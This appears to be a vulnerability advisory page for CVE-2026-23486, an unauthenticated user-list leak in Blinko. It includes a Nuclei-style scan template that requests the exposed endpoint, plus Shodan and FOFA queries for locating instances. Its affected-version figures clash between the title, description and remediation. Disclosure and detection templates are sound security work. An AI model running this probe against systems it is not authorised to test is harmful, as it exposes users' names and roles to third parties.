CVE-2026-23486: Blinko <= 1.8.3 - User Information Leak

2026-05-09 Blinko PoC Public

Description

Blinko <= 1.8.4 contains an information disclosure caused by a publicly accessible endpoint exposing user information including usernames, roles, and account creation dates, letting remote attackers access sensitive user data, exploit requires no special privileges.

PoC

id: CVE-2026-23486

info:
  name: Blinko <= 1.8.3 - User Information Leak
  author: 0x_Akoko
  severity: low
  description: |
    Blinko <= 1.8.4 contains an information disclosure caused by a publicly accessible endpoint exposing user information including usernames, roles, and account creation dates, letting remote attackers access sensitive user data, exploit requires no special privileges.
  impact: |
    Remote attackers can access sensitive user information, potentially leading to privacy violations and targeted attacks.
  remediation: |
    Update to version 1.8.4 or later.
  reference:
    - https://github.com/blinkospace/blinko/security/advisories/GHSA-446p-2xf5-frxf
    - https://github.com/blinkospace/blinko
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23486
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
    cve-id: CVE-2026-23486
    epss-score: 0.00711
    epss-percentile: 0.51873
  metadata:
    verified: true
    max-request: 1
    vendor: blinkospace
    product: blinko
    fofa-query: title="Blinko"
    shodan-query: http.title:"Blinko"
  tags: cve,cve2026,blinko,exposure,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<title>Blinko</title>", "Blinko self-hosted personal note")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/user/public-user-list"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"name\":", "\"role\":")'
        condition: and
# digest: 4a0a00473045022100f517775fc177c46f767cdd11f14e18e4a0aee2c43a42bc9a94b748dbe62fc65c0220542fd9f256a8169497143497c440db24189ad233057924549509fc3e7c4d2002:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities